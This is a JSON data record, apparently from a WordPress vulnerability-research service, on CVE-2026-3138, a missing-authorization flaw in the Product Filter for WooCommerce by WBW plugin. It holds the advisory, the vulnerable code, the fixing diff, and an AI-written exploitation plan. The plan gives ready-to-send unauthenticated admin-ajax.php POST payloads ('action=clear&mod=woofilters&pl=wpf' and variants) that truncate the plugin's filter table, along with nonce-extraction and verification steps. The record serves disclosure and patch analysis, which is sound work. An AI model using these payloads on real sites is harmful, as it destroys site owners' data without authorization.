[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fWaIzAQP1eCTEgdKQpj7zGJKsJHBc8fZqeKHMHjStiXQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3138","product-filter-for-woocommerce-by-wbw-missing-authorization-to-unauthenticated-filter-data-deletion-via-truncate-table","Product Filter for WooCommerce by WBW \u003C= 3.1.2 - Missing Authorization to Unauthenticated Filter Data Deletion via TRUNCATE TABLE","The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations.","woo-product-filter",null,"\u003C=3.1.2","3.1.3","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","Missing Authorization","2026-03-23 16:11:48","2026-03-24 04:27:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F085a4fae-c3f4-45f9-ab30-846c6297d04e?source=api-prod",1,[22,23,24,25,26,27,28,29],"changelog.txt","classes\u002Fcontroller.php","classes\u002Fframe.php","classes\u002FmodInstaller.php","config.php","modules\u002Fmeta\u002Fcontroller.php","modules\u002Fwoofilters\u002Fcontroller.php","modules\u002Fwoofilters\u002Fjs\u002Ffrontend.woofilters.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-3138 - Product Filter for WooCommerce by WBW\n\n## 1. Vulnerability Summary\nThe **Product Filter for WooCommerce by WBW** plugin (up to version 3.1.2) contains a missing authorization vulnerability that allows unauthenticated attackers to truncate the plugin's primary filter configuration table.\n\nThe vulnerability stems from three architectural flaws in the plugin's MVC framework:\n1. **Dynamic AJAX Registration**: The plugin automatically registers `wp_ajax_nopriv_` hooks for methods defined in its controllers.\n2. **Unprotected Base Methods**: The base `ControllerWpf` class defines a `clear()` method that lacks capability checks (`current_user_can`) and nonce verification (`check_ajax_referer`).\n3. **Magic Method Forwarding**: The base controller's `__call()` magic method forwards any call to an undefined method directly to the model layer. If the model has a `delete()` method that defaults to truncating the table (or if \"clear\" is called), it executes the destructive operation.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `delete` or `clear` (prefixed by the plugin's AJAX routing logic).\n- **Parameters**: \n    - `action`: The AJAX task (e.g., `delete` or `clear`).\n    - `mod`: `woofilters` (The target module).\n    - `pl`: `wpf` (The plugin code defined as `WPF_CODE` in `config.php`).\n- **Authentication**: None required (Unauthenticated).\n- **Preconditions**: The plugin must be active. At least one filter should exist in the `wp_wpf_filters` table to demonstrate data loss.\n\n## 3. Code Flow\n1. **Entry Point**: An unauthenticated user sends a POST request to `admin-ajax.php`.\n2. **Hook Execution**: The plugin's framework has registered a `wp_ajax_nopriv_` hook for the action. \n3. **Routing**: `FrameWpf::parseRoute()` (in `classes\u002Fframe.php`) extracts the `pl` (wpf), `mod` (woofilters), and `action` (task) parameters.\n4. **Dispatching**: The framework identifies the `WoofiltersControllerWpf` (which inherits from `ControllerWpf`).\n5. **Vulnerable Method**:\n    - If `action=clear`: The `clear()` method in `classes\u002Fcontroller.php` (line 155) is called. It immediately calls `$this->getModel()->clear()` without any checks.\n    - If `action=delete`: Since `WoofiltersControllerWpf` does not define `delete()`, the `__call()` magic method in `classes\u002Fcontroller.php` (line 104) is triggered. It forwards the call to `$model->delete()`.\n6. **Sink**: The model's `clear()` or `delete()` method executes `TRUNCATE TABLE {prefix}wpf_filters`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description and source code analysis, the `clear()` method in `ControllerWpf` specifically **omits** the `check_ajax_referer` call that is present in other methods like `getListForTbl`.\n\nIf the PoC agent finds that the plugin has been patched to require a nonce even for `clear`, it should follow this strategy:\n1. **Identify Variable**: The plugin localizes data in `WoofiltersControllerWpf::drawFilterAjax` or via scripts enqueued by the `woofilters` module.\n2. **Variable Name**: Look for `wpfAdminL10n` or similar objects in the browser context.\n3. **Extraction**:\n   - Navigate to a page where a filter is displayed (requires a page with the `[wpf-filters]` shortcode).\n   - `browser_eval(\"window.wpfAdminL10n?.wpfNonce\")` or `browser_eval(\"window.wpfFiltersData?.nonce\")`.\n\n**Note**: For this specific CVE, the \"Missing Authorization\" and the code for `clear()` suggest no nonce is verified for this specific path.\n\n## 5. Exploitation Strategy\nThe goal is to trigger the `clear` or `delete` method in the `woofilters` module.\n\n### Request Details\n- **Method**: POST\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload**:\n  ```\n  action=clear&mod=woofilters&pl=wpf\n  ```\n  *Alternative if `action=clear` fails based on the CVE description:*\n  ```\n  action=delete&mod=woofilters&pl=wpf\n  ```\n\n## 6. Test Data Setup\nBefore executing the exploit:\n1. **Create Filter Data**: Ensure the plugin's table is populated.\n   ```bash\n   wp eval 'global $wpdb; $wpdb->insert($wpdb->prefix . \"wpf_filters\", [\"title\" => \"Exploit Test Filter\", \"setting_data\" => serialize([\"test\"=>1])]);'\n   ```\n2. **Verify Population**:\n   ```bash\n   wp db query \"SELECT COUNT(*) FROM wp_wpf_filters;\"\n   ```\n\n## 7. Expected Results\n- **HTTP Response**: 200 OK.\n- **Response Body**: A JSON object containing `{\"success\":true,\"message\":\"Done\"}` (as seen in `ControllerWpf::clear()` line 158).\n- **Database State**: The `wp_wpf_filters` table is empty (0 rows).\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the destruction of data via WP-CLI:\n```bash\n# Check if the table is empty\nwp db query \"SELECT COUNT(*) FROM wp_wpf_filters;\"\n\n# Check if the specific test filter is gone\nwp db query \"SELECT * FROM wp_wpf_filters WHERE title='Exploit Test Filter';\"\n```\n\n## 9. Alternative Approaches\nIf the simple `action=clear` does not work, it may be because the plugin uses a specific prefix for its AJAX actions. \n- Try `action=wpf_woofilters_clear`\n- Try `action=wpf_clear`\n- Try adding `task=clear` as a parameter: `action=wpf_woofilters&task=clear&pl=wpf`\n\nThe core issue is that the `clear()` function in `classes\u002Fcontroller.php` is fundamentally unprotected and exposed to any routing path that can reach it.","The Product Filter for WooCommerce by WBW plugin allows unauthenticated attackers to permanently delete all filter configurations by truncating the plugin's database table. This occurs because the plugin's MVC framework dynamically registers unauthenticated AJAX handlers and provides a base controller with an unprotected 'clear' method and a magic method that forwards calls directly to destructive model operations without authorization checks.","\u002F\u002F classes\u002Fcontroller.php (Line 104)\n\tpublic function __call( $name, $arguments ) {\n\t\t$model = $this->getModel();\n\t\tif (method_exists($model, $name)) {\n\t\t\treturn $model->$name($arguments[0]);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n---\n\n\u002F\u002F classes\u002Fcontroller.php (Line 231)\n\tpublic function clear() {\n\t\t$res = new ResponseWpf();\n\t\tif ($this->getModel()->clear()) {\n\t\t\t$res->addMessage(esc_html__('Done', 'woo-product-filter'));\n\t\t} else {\n\t\t\t$res->pushError($this->getModel()->getErrors());\n\t\t}\n\t\t$res->ajaxExec();\n\t}\n\n---\n\n\u002F\u002F classes\u002Fframe.php (Line 411)\n\tprotected function _doExec() {\n\t\t$mod = $this->getModule($this->_mod);\n\t\tif ($mod && $this->checkPermissions($this->_mod, $this->_action)) {\n\t\t\tswitch (ReqWpf::getVar('reqType')) {\n\t\t\t\tcase 'ajax':\n\t\t\t\t\tadd_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));\n\t\t\t\t\tadd_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));\n\t\t\t\t\tbreak;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fcontroller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fcontroller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fcontroller.php\t2025-07-11 13:06:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fcontroller.php\t2026-03-20 11:01:42.000000000 +0000\n@@ -94,7 +104,21 @@\n \t\t\t$view->display();\n \t\t}\n \t}\n+\n+\t\u002F**\n+\t * Magic method: __call\n+\t *\n+\t * @version 3.1.3\n+\t *\n+\t * @param $name\n+\t * @param $arguments\n+\t *\u002F\n \tpublic function __call( $name, $arguments ) {\n+\t\t$blockedMethods = array( 'delete', 'clear', 'removeGroup' );\n+\t\tif ( in_array( $name, $blockedMethods, true ) ) {\n+\t\t\treturn false;\n+\t\t}\n+\n \t\t$model = $this->getModel();\n \t\tif (method_exists($model, $name)) {\n \t\t\treturn $model->$name($arguments[0]);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fframe.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fframe.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.2\u002Fclasses\u002Fframe.php\t2025-11-28 17:20:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-product-filter\u002F3.1.3\u002Fclasses\u002Fframe.php\t2026-03-20 11:01:42.000000000 +0000\n@@ -406,14 +408,19 @@\n \n \t\u002F**\n \t * _doExec.\n+\t *\n+\t * @version 3.1.3\n \t *\u002F\n \tprotected function _doExec() {\n \t\t$mod = $this->getModule($this->_mod);\n \t\tif ($mod && $this->checkPermissions($this->_mod, $this->_action)) {\n \t\t\tswitch (ReqWpf::getVar('reqType')) {\n \t\t\t\tcase 'ajax':\n-\t\t\t\t\tadd_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));\n-\t\t\t\t\tadd_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\tadd_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\t$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );\n+\t\t\t\t\tif ( in_array( $this->_action, $noprivActions ) ) {\n+\t\t\t\t\t\tadd_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));\n+\t\t\t\t\t}\n \t\t\t\t\tbreak;\n \t\t\t\tdefault:\n \t\t\t\t\t$this->_res = $mod->exec($this->_action);","The exploit target is the WordPress AJAX endpoint at \u002Fwp-admin\u002Fadmin-ajax.php. An unauthenticated attacker sends a POST request with the 'action' parameter set to 'clear' or 'delete', the 'mod' (module) parameter set to 'woofilters', and the 'pl' (plugin) parameter set to 'wpf'. Due to the plugin's FrameWpf::parseRoute() and _doExec() functions, it registers a 'wp_ajax_nopriv_clear' (or delete) hook that maps to the controller's clear() method. Because the base ControllerWpf::clear() method lacks both capability checks and nonce verification, it calls the model's clear() method, which executes a TRUNCATE TABLE command on the wp_wpf_filters table, deleting all stored configuration data.","gemini-3-flash-preview","2026-04-17 23:06:45","2026-04-17 23:07:39",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags\u002F3.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-product-filter.3.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags\u002F3.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-product-filter.3.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-product-filter\u002Ftags"]